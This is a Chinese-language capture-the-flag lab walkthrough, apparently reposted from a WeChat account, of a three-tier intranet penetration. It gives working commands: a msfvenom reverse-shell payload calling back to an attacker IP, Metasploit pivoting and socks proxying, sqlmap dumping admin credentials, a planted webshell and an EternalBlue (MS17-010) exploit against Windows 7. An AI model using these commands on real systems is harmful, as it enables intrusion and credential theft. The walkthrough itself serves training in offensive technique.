借用小迪师傅的图

Target1

首先我们不多说，用nmap查看同网段的主机

nmap -T4 192.168.135.0/24

锁定192.168.135.134

开放80 22 3306等端口

首先访问一下80

是一个ThinkPHP的框架，可以在网上找poc打穿他，这里我直接用工具一件梭哈

成功getshell，蚁剑连接

可以得到第一个flag

ok，那么接下来生成后门，交给msf接管后面的渗透，由于是Centos，所以要生成linux的后门

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.135.128 LPORT=4444 -f elf>1.elf

上传到webshell并执行，kali设置监听

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
options
run

Target2

ok，下面进行信息收集

首先拿到的shell的权限时www的小权限
然后ifconfig发现有一个22网段的ip

下面建立路由，让我们可以访问到22网段再进行信息收集

run autoroute -s 192.168.22.0/24
run autoroute -p

ok，成功建立了22网段的路由，好那么开始对22网段进行信息收集

但是这里会有一个误点；现在的会话是session1，是建立在Target1的shell上的，建立路由后就可以和22网段进行通信， 但是它只能在这个msf建立的会话上使用，假如我们新开一个终端使用nmap扫描，还是扫不到。那么我们想要通过session1用工具去攻击22网段，这个时候该怎么办呢？ 

这里就涉及到一个重要的知识点，msf的代理配置，当然msf有自己的代理模块，就是 auxiliary/server/socks_proxy  ，我们先来开启代理服务，跟我一样的配置就行，srvport是端口随便定，只要不被占用 

backgrounduse auxiliary/server/socks_proxyset SRVHOST 0.0.0.0set SRVPORT 1080exploit

给了提示，那么我们就按照提示来即可

直接上sqlmap

proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword –-dbs
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D bagecms –tables
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin –columns
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password –dump

得到了密码然后 拿去somd5解密  

然后在robot.txt里面知道了后台，所以直接登进去

找到第二个flag

写入一句话木马  

蚁剑连接 http://192.168.22.129/index.php?r=special 密码hack

msf生成后门接管，但是这里需要注意的是木马的shell只能用正向，因为我们是搭建sock代理来访问的Ubuntu，所以我们正常访问是访问不到的，但是它处于内网中也访问不到我们，而且让他通过代理来找我们是不现实的，所以还是得我们通过代理去找他，所以只能正向

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > 3.elf

msf正向连接  

background
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.129
set LPORT 3333
exploit

ok，成功收到shell

尝试扫描33网段  

proxychains4 nmap -Pn -sT 192.168.33.33

开放了135,445端口，由于是Windows7我们可以联想到永恒之蓝ms17_010

那么来试一试

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
options
run
 

成功拿下

剩下的就搜索第三个flag了

cd /
dir /S *flag* /B
type C:WindowsSystem32configflag.txt
# /B 显示文件夹或文件的名字
# /S 显示指定目录和所有子目录中的文件。
# dir /S /B *flag* 这样写也可以

ok成功打穿三层内网

总结

首先是代理的建立，这个socks的代理有点玄学

还有就是一般内网的机器都是不出网的，所以我们不能去反向代理，我们应该主动出击，正向代理去直接连目标机器。最最重要的事要理解 什么是隧道 什么是代理

原文始发于微信公众号（PwnPigPig）：CFS三层内网渗透